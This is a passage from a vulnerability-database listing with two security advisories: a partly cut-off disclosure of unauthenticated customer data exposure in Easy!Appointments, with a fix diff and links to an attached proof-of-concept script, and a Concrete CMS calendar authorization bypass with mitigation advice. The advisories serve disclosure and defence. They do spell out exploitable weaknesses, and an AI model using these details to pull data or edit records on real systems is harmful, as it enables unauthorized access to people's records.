$this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+ $customer = [\n+ \u0027id\u0027 =\u003e $customer_record[\u0027id\u0027],\n+ \u0027first_name\u0027 =\u003e $customer_record[\u0027first_name\u0027],\n+ \u0027last_name\u0027 =\u003e $customer_record[\u0027last_name\u0027],\n+ ];\n $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` \u2014 anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` \u2014 returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` \u2014 whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) \u2014 same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)",
"id": "GHSA-xgr6-pqjv-3pf8",
"modified": "2026-07-29T16:28:23Z",
"published": "2026-07-29T16:28:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52837"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page"
}
GHSA-XGRC-PC59-M8CP
Vulnerability from github – Published: 2026-09-10 21:31 – Updated: 2026-09-10 21:31Concrete CMS versions 8.3.0 through 9.5.2 are vulnerable to an authorization bypass in the Calendar event edit dialog (concrete/controllers/dialog/event/edit.php). The dialog checked permissions against the calendar identifier supplied in the request rather than the calendar owning the targeted event occurrence. A user with the "Add Event" permission on a single calendar could read and overwrite events on calendars they were not permitted to access, and could delete an event's original local occurrence. Publishing the injected version to the live calendar, which demotes the previously approved version, additionally required the actor's approve_calendar_event workflow rights or an auto-approving workflow. The Concrete CMS Security Team gave this a rank of 5.9 with CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.
{
"affected": [],
"aliases": [
"CVE-2026-68527"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T19:17:32Z",
"severity": "MODERATE"
},
"details": "Concrete CMS versions 8.3.0 through 9.5.2 are vulnerable to an authorization bypass in the Calendar event edit dialog (concrete/controllers/dialog/event/edit.php). The dialog checked permissions against the calendar identifier supplied in the request rather than the calendar owning the targeted event occurrence. A user with the \"Add Event\" permission on a single calendar could read and overwrite events on calendars they were not permitted to access, and could delete an event\u0027s original local occurrence. Publishing the injected version to the live calendar, which demotes the previously approved version, additionally required the actor\u0027s approve_calendar_event workflow rights or an auto-approving workflow. The Concrete CMS Security Team gave this a rank of 5.9 with CVSS 4.0 vector\u00a0CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.",
"id": "GHSA-xgrc-pc59-m8cp",
"modified": "2026-09-10T21:31:35Z",
"published": "2026-09-10T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68527"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/9-x/developers/introduction/version-history/953-release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.